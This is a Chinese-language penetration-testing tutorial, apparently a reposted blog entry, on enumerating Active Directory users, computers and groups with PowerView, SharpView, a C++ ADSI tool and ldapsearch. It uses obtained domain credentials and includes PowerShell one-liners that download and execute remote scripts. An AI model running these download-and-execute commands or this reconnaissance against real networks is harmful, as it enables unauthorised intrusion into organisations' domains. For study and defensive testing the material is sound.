zoukankan      html  css  js  c++  java
  • 域内活动目录信息的获取

    本文将要以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法
    这次环境中我们得到了
    czf@zhong.czf pass:pass!@#4
    zhong.czf域内的普通用户 和密码
    也获取到了
    pp.zhong.czf/ppo p:pass!@#4
    子域的一个用户和密码
    0x01 简介
    
    本文将要介绍以下内容:
    
        域外获取活动目录信息的方法
        域内获取活动目录信息的方法
        使用C++调用ADSI接口获取信息的方法

    0x02 基础知识


    域环境使用directory database(目录数据库)来存储用户、计算机账户和组等对象

    使用LDAP(Lightweight Directory Access Protocol)(轻量目录访问协议)来查询和更新目录数据库

    常用缩写词

    • DN:Distinguished Name
    • CN:Common Name
    • OU:Organizational Unit
    • DC:Domain Controller

    其中DN有三个属性,分别是CN、OU和DC

    简单理解:

    域控制器默认会开启端口389,用作LDAP服务

    
    

    0x01windows通过powerview进行数据查询

    当然我们得先看看这个参数

    0x01远程加载
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetComputer -FullData   
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser   
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetSubnet
    
    0x02本地加载
    
    PS C:> import-module .powerview.ps1
    PS C:> Get-NetDomain  获取当前的域名称
    
    Get-Netuser 返回所有域内成员的详细信息
    Get-NetDomainController 获取所有的域内的控制器信息
    Get-NetComputer  获取所有域内机器的名称
    Get-Netshare  获取域内的所有的网络共享
    Get-NetRDPSESSION  获取指定服务的远程连接信息
    Get-ADOPJECT  获取活动目录的信息
    

     0X02使用C#实现

    参照SharpView,地址:

    https://github.com/tevora-threat/SharpView

    :>SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password  
    
    C:>SharpView.exe Get-DomainController -Help
    Get-DomainController -Domain <String> -Server <String> -DomainController <String> -LDAP <Boolean> -Credential <NetworkCredential>
    
    Available methods
    
    Get-DomainGPOUserLocalGroupMapping
    Find-GPOLocation
    Get-DomainGPOComputerLocalGroupMapping
    Find-GPOComputerAdmin
    Get-DomainObjectAcl
    Get-ObjectAcl
    Add-DomainObjectAcl
    Add-ObjectAcl
    Remove-DomainObjectAcl
    Get-RegLoggedOn
    Get-LoggedOnLocal
    Get-NetRDPSession
    Test-AdminAccess
    Invoke-CheckLocalAdminAccess
    Get-WMIProcess
    Get-NetProcess
    Get-WMIRegProxy
    Get-Proxy
    Get-WMIRegLastLoggedOn
    Get-LastLoggedOn
    Get-WMIRegCachedRDPConnection
    Get-CachedRDPConnection
    Get-WMIRegMountedDrive
    Get-RegistryMountedDrive
    Find-InterestingDomainAcl
    Invoke-ACLScanner
    Get-NetShare
    Get-NetLoggedon
    Get-NetLocalGroup
    Get-NetLocalGroupMember
    Get-NetSession
    Get-PathAcl
    ConvertFrom-UACValue
    Get-PrincipalContext
    New-DomainGroup
    New-DomainUser
    Add-DomainGroupMember
    Set-DomainUserPassword
    Invoke-Kerberoast
    Export-PowerViewCSV
    Find-LocalAdminAccess
    Find-DomainLocalGroupMember
    Find-DomainShare
    Find-DomainUserEvent
    Find-DomainProcess
    Find-DomainUserLocation
    Find-InterestingFile
    Find-InterestingDomainShareFile
    Find-DomainObjectPropertyOutlier
    TestMethod
    Get-Domain
    Get-NetDomain
    Get-DomainComputer
    Get-NetComputer
    Get-DomainController
    Get-NetDomainController
    Get-DomainFileServer
    Get-NetFileServer
    Convert-ADName
    Get-DomainObject
    Get-ADObject
    Get-DomainUser
    Get-NetUser
    Get-DomainGroup
    Get-NetGroup
    Get-DomainDFSShare
    Get-DFSshare
    Get-DomainDNSRecord
    Get-DNSRecord
    Get-DomainDNSZone
    Get-DNSZone
    Get-DomainForeignGroupMember
    Find-ForeignGroup
    Get-DomainForeignUser
    Find-ForeignUser
    ConvertFrom-SID
    Convert-SidToName
    Get-DomainGroupMember
    Get-NetGroupMember
    Get-DomainManagedSecurityGroup
    Find-ManagedSecurityGroups
    Get-DomainOU
    Get-NetOU
    Get-DomainSID
    Get-Forest
    Get-NetForest
    Get-ForestTrust
    Get-NetForestTrust
    Get-DomainTrust
    Get-NetDomainTrust
    Get-ForestDomain
    Get-NetForestDomain
    Get-DomainSite
    Get-NetSite
    Get-DomainSubnet
    Get-NetSubnet
    Get-DomainTrustMapping
    Invoke-MapDomainTrust
    Get-ForestGlobalCatalog
    Get-NetForestCatalog
    Get-DomainUserEvent
    Get-UserEvent
    Get-DomainGUIDMap
    Get-GUIDMap
    Resolve-IPAddress
    Get-IPAddress
    ConvertTo-SID
    Invoke-UserImpersonation
    Invoke-RevertToSelf
    Get-DomainSPNTicket
    Request-SPNTicket
    Get-NetComputerSiteName
    Get-SiteName
    Get-DomainGPO
    Get-NetGPO
    Set-DomainObject
    Set-ADObject
    Add-RemoteConnection
    Remove-RemoteConnection
    Get-IniContent
    Get-GptTmpl
    Get-GroupsXML
    Get-DomainPolicyData
    Get-DomainPolicy
    Get-DomainGPOLocalGroup
    Get-NetGPOGroup
    

    3.使用C++实现

    参考地址:

    https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc

    https://github.com/outflanknl/Recon-AD

    微软的代码是exe的格式,只介绍了QueryUser的方法,但支持查询条件(筛选指定用户)和显示简要信息(只输出名称,便于统计)

    Recon-AD的代码是dll的格式,包含多个功能,但默认只显示详细信息

    于是我将两者的代码融合,代码支持以下功能:

    • exe的格式
    • 包含多个功能,支持查询用户、计算机和组等
    • 支持查询条件和显示简要信息

    代码已上传至github,地址如下:

    https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp

    代码可指定ADS path和搜索条件,用法如下:

    (1)查询域用户

    列出所有域用户,只显示简要的名称信息,命令如下:

    QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData
    

    结果输出如下图

    查询指定用户的所有信息,命令如下:

    QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData
    

    结果输出如下图

    (2)查询计算机

    列出所有计算机账户,只显示简要的名称信息,命令如下:

    QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData
    

    结果输出如下图

    查询域控制器的详细信息,需要知道ADS path为"OU=Domain Controllers,DC=test,DC=com",命令如下:

    QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData
    

    结果输出如下图

    (3)查询组

    列出所有组,只显示简要的名称信息,命令如下:

    QueryADObject.exe Current "(&(objectCategory=group))" ShortData
    

    列出管理员组的详细信息,命令如下:

    QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata
    

    结果输出如下图

    (4)查询OU

    列出所有OU,只显示简要的名称信息,命令如下:

    QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData
    

    结果输出如下图

    原文链接
    https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/
    

    0x03 域外获取活动目录信息的方法


    1.Kali系统通过ldapsearch进行数据查询

    测试环境如下图

    Alt text

    前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令

    这个测试环境中,我们获得了域内普通用户testa的口令为DomainUser123!

    连接命令如下:

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"
    

    参数说明:

    • -x 进行简单认证
    • -H 服务器地址
    • -D 用来绑定服务器的DN
    • -w 绑定DN的密码
    • -b 指定要查询的根节点

    这条命令会显示所能查询到的所有信息,如下图

    Alt text

    接下来加入搜索条件,对结果进行分类

    (1)查询所有域用户

    加入搜索条件:"(&(objectClass=user)(objectCategory=person))"

    完整命令如下:

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"
    

    这条命令会输出所有域用户的所有属性,如下图

    Alt text

    为了便于统计名称,可以选择只列出CN(Common Name),并且使用grep命令对输出进行过滤

    命令如下:

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
    

    结果输出如下图

    Alt text

    (2)查询所有计算机

    加入搜索条件:"(&(objectCategory=computer)(objectClass=computer))"

    命令如下:

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
    

    结果输出如下图

    Alt text

    (3)查询所有组

    加入搜索条件:"(&(objectCategory=group))"

    命令如下:

    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
    

    结果输出如下图

    Alt text

    2.Windows系统通过PowerView进行数据查询

     

    本文将要以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法

  • 相关阅读:
    Difference between ClassNotFoundException and NoClassDefFoundError 规格严格
    RPM包。。。 规格严格
    Cygwin sshd Apache sshd 规格严格
    查看真实物理CPU个数 规格严格
    工具类网页 规格严格
    探测无线网卡。 规格严格
    DB2 Error 规格严格
    AIX 安装SSH 规格严格
    美国GIS研究的19个方向
    史上最有趣的Readme
  • 原文地址:https://www.cnblogs.com/-zhong/p/12374568.html
Copyright © 2011-2022 走看看